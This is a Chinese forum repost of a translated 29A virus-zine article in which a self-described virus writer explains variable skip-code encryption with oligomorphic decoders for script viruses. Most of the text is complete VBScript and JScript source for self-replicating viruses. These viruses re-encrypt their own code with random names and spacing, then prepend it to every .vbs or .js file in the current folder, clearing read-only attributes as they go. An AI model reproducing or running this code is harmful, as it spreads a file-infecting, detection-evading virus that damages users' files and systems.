发新话题
打印

[转载]自加密脚本文件

[转载]自加密脚本文件

信息来源:29A#7
文章翻译:穿透/cvc翻译小组

作者简介:   
  前DOS/Win16平台下病毒编写者,若干病毒系列如Ginger(参看杂志Coderz #1中一场恐怖虫灾的实例,不过如果你有更好的代码请联系我)和95年9月的病毒公报上被称为彩虹的病毒的始创者。世界上第一个使用循环区域欺骗(Orsam, 1993年完成代码原型) 技术的病毒的合著者。
设计了世界上第一个XMS 交换病毒。 (约翰?高尔特, 1995年RT Fishel编写的,只有30个字节残留,剩下的已被换出)。
世界上第一个把线程本地存储用于复制病毒 (Shrug, 据02年6月病毒公报的描述, 又被称之为Chiton) 的作者
设计了世界上首个使用Visual.basic 5/6 语言扩展(OU812)来进行复制的病毒,完成了世界第一个本地可执行病毒(Chthon)。
世界第一个使用进程协作防止进程终止技术的病毒(参见02年11月病毒公报的有关报道)
世界第一个病毒使用多形SMTP头(Junkmail, 参见02年11月病毒公报的有关报道)。
世界第一个能把任意数据文件转换成可传染目标的病毒 。
以及各种各样的变性病毒文章的作者(参见Vlad #7中使您的代码对TBScan不可见的句子)。
虽然已经偷闲了好多年,但是庆幸的是我现在又开始工作了。
为什么不?
  当我们讨论加密宏病毒数量时, 会很惊讶并没有那么多的加密脚本病毒。对这个问题我没有更好的解释, 无论如何,这里我为加密VBScript 和JScript 文件提出一个简单的引擎。这个引擎使用一个带有oligomorphic解码器的易变跳跃码加密。这个加密器支持可变空间,随机变量名,随机变量形成,随机事件关键字(仅限VBScript),以及有常数包位数的可变跳跃码,并能在递归中使用。
怎么做?
  写自加密脚本的难处在于解密原码本身就是被再加密的,问题就是如何解密源代码, 这里有两种选择: 第一在运行时侯重建源代码,但这不是总那么容易的并且我们需要简单的引擎。 第二, 解密加密后的源代码, 但是只有在结构还不牢固(容易发现和容易分析)的时候这种方法是容易的。 我们在这里使用的就是第二个选择。
跳跃代码(定常)
  定常跳跃代码的加密是简单的,在一个串中我们为每第n个字符加上记号,n就是代码的跳跃值。在一个简单串中n=1,所以在串中每个字符都是一个记号。加密就是增加n的值,然后用随机值填写没有用过的记号。
  首先,n=1
  这是我们的串
  然后 n=2, 没有使用过的记号设置在这里。
  !t!h!i!s! !i!s! !o!u!r! !s!t!r!i!n!g
在VBScript中用以下代码实现:
  for i = n to len(s) step n
    d = d + mid(s, i, 1)
  next
或者 JScript 代码如下:
  d = ""
  for (i = n - 1; i < s.length; i += n)
    d = d + s.charAt(i)
跳跃码(可变的)
  可变跳跃码的加密也是这样的,在一个串中每隔n个字节就是一个记号。但是这里对每个不同的记号可以取不同的n值。这是通过存储包中能整除n值的字符来实行的,包的大小p可以是常量或变量,比如这里有一个大小为3的常量包,每个包中n为第一个字符。看起来像这样
1t!2!h1i!2!s1 !2!i1s!2! 1o!2!u1r!2! 1s!2!t1r!2!i1n!2!g
在这个例子中,n的值在1和2之间变化。在VBScript中用以下代码实现。
for i = 1 to len(s) step p
    d = d + mid(s, i + mid(s, i, 1), 1)
  next
同样如下JScript 代码:
  d = ""
  for (i = 0; i < s.length; i += p)
    d = d + s.charAt(i + (s.charAt(i) & 15))
同样的结果中"charAt(i) & 15"比 "charCodeAt(i) - 48"字节数更少。
可变包大小仍然可以用在包中存储包的大小来实行,每个包都以包大小p为第一个字符,n为第二个字符。
看起来像这样:
32t!22h33!i22s32 !22i33!s22 32o!22u33!r22 32s!22t33!r22i32n!22g
在这个例子中
p和n的值在2和3之间变化。如下的VBScript代码中实现了这个方法。
  for i = 1 to len(s)
    d = d + mid(s, i + mid(s, i + 1, 1), 1)
    i = i + mid(s, i, 1)
  next
同样如下JScript 代码:
  d = ""
  for (i = 0; i < s.length; i++)
  {
    d = d + s.charAt(i + (s.charAt(i + 1) & 15))
    i = i + (s.charAt(i) & 15)
  }
p的值(在中间的(s,i,1))是1小于包的实际大小,因为for循环会自动增加i的值。然后:
  无论加密有多棒,薄弱的环节是解密。如果解密器非常的复杂,或者某种意义上来说无可取代,那么没有人会陷入加密过的代码中很简单的研究出解密器本身。在脚本的世界里加密容易,使用很简单的解密器却是一种冒险。因为毫无损失的那个看起来就象我们一样。而且,解码器是可以分层的,然后解码需要很长的时间,而且只有第一层是可变的。
让我们来看看这些代码,只需要WSH v3+因为没有用到新的特性。首先是VBScript  dim loff,newl
set fso=createobject("scripting.filesystemobject")
set file=fso.opentextfile(wscript.scriptfullname)
bann=file.readline
oldl=file.readline
file.close

randomize
dospc 1

rcase 8
v1=nvar
outch"("
v2=nvar
outch")"                           &#39;function aaaaa(bbbbb)

outch":"

rcase 3
v3=nvar
outch"="
outch"1"
rcase 2
rcase 3
outch"("
outv v2
outch")"
rcase 4
v5=mid(oldl,loff,1)                    &#39;old packet size
v6=int(rnd*7)+2                      &#39;new data size: 2-8
                                &#39;if you do not use ! character, then line can be
                                &#39;v6=int(rnd*7)+2      &#39;1-8
outch cstr(v6+1)                      &#39;for ccccc=1 to len(bbbbb) step x

outch":"

v4=nvar
outch"="
rcase 4
outch"("
rcase 3
outch"("
outv v2
outch","
outv v3
outch","
outch"1"
outch")"
outch")"                           &#39;ddddd=cint(mid(bbbbb,ccccc,1))

outch":"

outv v1
outch"="
outv v1
outch"+"
rcase 3
outch"("
rcase 3
outch"("
rcase 3
outch"("
outv v2
outch","
outv v3
outch"+"
outv v4
outch","
outch"1"
outch")"
outch")"
outch"-"
outv v4
outch")"                           &#39;aaaaa=aaaaa+chr(asc(mid(bbbbb,ccccc+ddddd,1))-ddddd)

outch":"

rcase 4                            &#39;next

outch":"

rcase 3
rcase 8                            &#39;end function

outch":"

rcase 7
outch"("
outv v1
outch"("
outch chr(34)
cb=instr(mid(oldl,loff),chr(34))

for loff=loff to loff+cb-v5 step v5
oldkey=cint(mid(oldl,loff,1))
do
  nkey=int(rnd*v6)+1
  c=asc(mid(oldl,loff+oldkey,1))-oldkey+nkey
loop while c=34or c>127                &#39;no " or 8-bit chars
newl=newl+cstr(nkey)
for kl=2to nkey
  newl=newl+rchar
next
newl=newl+chr(c)
for kl=kl to v6
  newl=newl+rchar
next
next
outch chr(34)
outch")"
outch")"                           &#39;execute(aaaaa("encrypted code"))

set dir=fso.getfolder(".")               &#39;demo version, current directory only
for each item in dir.files
if lcase(fso.getextensionname(item))="vbs"then
  err=0
  set inf=fso.opentextfile(item,1)        &#39;open potential victim
  if err.number=0then
    fst=inf.read(1)                  &#39;read first character
    if fst<>"&#39;"then                  &#39;check for infection marker
     rest=inf.readall                &#39;read entire file
     attr=item.attributes              &#39;save attributes
     item.attributes=0                &#39;remove any read-only attribute
     err=0
     set outf=fso.opentextfile(item,2)     &#39;open file for writing
     if err.number=0then
      outf.writeline(bann)            &#39;prepend banner
      outf.writeline(newl)            &#39;prepend code
      outf.write(fst+rest)            &#39;append first character and host
      outf.close                   &#39;close file (write mode)
     end if
     item.attributes=attr              &#39;restore attributes
    end if
    inf.close                      &#39;close file (read mode)
  end if
end if
next

sub dospc(curoff)                     &#39;replace space with random number of spaces
if mid(oldl,curoff,1)=" "then
  newl=newl+space(rnd*5+1)
  while mid(oldl,curoff,1)=" "
    curoff=curoff+1
  wend
end if
loff=curoff
end sub

sub rcase(lineend)                    &#39;random case switch on keywords
for cb=loff to loff+lineend-1
  newl=newl+chr(asc(mid(oldl,cb,1))xor(int(rnd*2)*32))
next
dospc loff+lineend
end sub

function rchar                       &#39;random case letter
rchar=chr(int(rnd*26)+65+int(rnd*2)*32)
end function

sub outv(tvar)                       &#39;variable followed by random number of spaces
newl=newl+tvar
dospc loff+instr(mid(oldl,loff)," ")-1
end sub

function nvar                        &#39;random sequence of random case letters
while tv=v1 or tv=v2 or tv=v3 or tv=v4
  tv=""
  for cb=1to rnd*5+5                  &#39;5-9 characters
    tv=tv+rchar
  next
wend
outv tv
nvar=tv
end function

sub outch(ch)                        &#39;character followed by random number of spaces
newl=newl+ch
dospc loff+1
end sub


Now is JScript version.


//Conscrypt - roy g biv 01/02/03
fso=new ActiveXObject("scripting.filesystemobject")
with(inf=fso.opentextfile(WScript.scriptfullname))
{
bann=readline()
oldl=readline()
close()
}

Math.random(1)
newl=""
dospc(0)

outv("function")
var v1=nvar(),v2,v3,v4,v5
outch("(")
v2=nvar()
outch(")")                          //function aaaaa(bbbbb)

outch("{ ")

v3=nvar()
outch("=")
outv("\"\"")                        //ccccc=""

outch(";")

outv("for")
outch("(")
v4=nvar()
outch("=")
outch("0")
outch(";")
outv(v4)
outch("<")
outv(v2)
outch(".")
outv("length")
outch(";")
outv(v4)
outv("+=")
v6=oldl.charAt(loff)                   //old packet size
v7=(Math.random()*7+2)&15                //new data size: 2-8
                                //if you do not use ! character, then line can be
                                //v7=(Math.random()*8+1)&15    //1-8
outch(v7+1)
outch(")")                          //for(ddddd=0;ddddd<bbbbb.length;ddddd+=x)

outch("{ ")

v5=nvar()
outch("=")
outv(v2)
outch(".")
outv("charAt")
outch("(")
outv(v4)
outch(")")
outch("&")
outv("15")                          //eeeee=bbbbb.charAt(ddddd)&15

outch(";")

outv(v3)
outv("+=")
outv("String")
outch(".")
outv("fromCharCode")
outch("(")
outv(v2)
outch(".")
outv("charCodeAt")
outch("(")
outv(v4)
outch("+")
outv(v5)
outch(")")
outch("-")
outv(v5)
outch(")")                          //ccccc+=String.fromCharCode(bbbbb.charCodeAt(ddddd+eeeee)-eeeee)

outch(" }")

outv("return")
outv(v3)                           //return ccccc

outch(" }")

outv("eval")
outch("(")
outv(v1)
outch("(")
outch(&#39;"&#39;)

for(ss=loff+oldl.substr(loff).search(/"/);loff<ss;loff+=v6&15)
{
oldk=oldl.charAt(loff)&15
do
{
  nkey=(Math.random()*v7+1)&15
  cca=oldl.charCodeAt(loff+oldk)-oldk+nkey
  }
while(cca==34||cca==92||cca>127)          //no " or \ or 8-bit chars
newl+=nkey
kl=0
while(++kl<nkey)
  newl+=rchar()
newl+=String.fromCharCode(cca)
while(kl++<v7)
  newl+=rchar()
}

outch(&#39;"&#39;)
outch(")")
outch(")")                          //eval(aaaaa("encrypted code"))

for(enu=new Enumerator(fso.getfolder(".").files);!enu.atEnd();enu.moveNext())
                                //demo version, current directory only
if(fso.getextensionname(item=enu.item()).toLowerCase()=="js")
  try
  {
    with(inf=fso.opentextfile(item,1))      //open potential victim
    {
     fst=read(1)                    //read first character, keep for later
     if(fst!="/")                   //check for infection marker
      try
      {
        rest=readall()               //read entire file
        attr=item.attributes           //save attributes
        item.attributes=0             //remove any read-only attribute
        with(outf=fso.opentextfile(item,2)) //open file for writing
        {
         writeline(bann)             //prepend banner
         writeline(newl)             //prepend code
         write(fst+rest)             //append first character and host
         close()                  //close file (write mode)
        }
        item.attributes=attr           //restore attributes
      }
      catch(z)
      {
      }
     close()                      //close file (read mode)
    }
  }
  catch(z)
  {
  }

function dospc(coff)                   //replace space with random number of spaces
{
if(oldl.charAt(coff)==" ")
{
  cb=0
  while(cb++<=Math.random()*5)
    newl+=" "
  while(oldl.charAt(coff)==" ")
    ++coff
  }
loff=coff
}

/* JScript is case-sensitive so this function is not used
function rcase(lend)                   //random case switch on keywords
{
for(cb=loff;cb<loff+lend;cb++)
  newl+=String.fromCharCode(oldl.charCodeAt(cb)^(Math.round(Math.random())*32))
dospc(loff+lend)
}
*/

function rchar()                      //random case letter
{
with(Math)return String.fromCharCode(random()*26+65+round(random())*32)
}

function outv(tvar)                    //variable or keyword followed by random number of spaces
{
newl+=tvar
dospc(loff+oldl.substr(loff).search(/ /))
}

function nvar()                      //random sequence of random case letters
{
do
{
  tv=""
  cb=0
  while(++cb<Math.random()*5+6)          //5-9 characters
    tv+=rchar()
  }
while(tv==v1||tv==v2||tv==v3||tv==v4||tv==v5)
outv(tv)
return tv
}

function outch(ch)                    //character followed by random number of spaces
{
newl+=ch
dospc(loff+1)
}
感谢以下的朋友 (A-Z):
Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel -
The Gingerbread Man - Ultras - Vecna - VirusBuster - Whitehead
rgb/2003年2月29日上午
iam_rgb@hotmail.com
http://blog.csdn.net/lake2 此帐号由于使用弱口令被管理人员和谐,请以联系QQ310926。

TOP

发新话题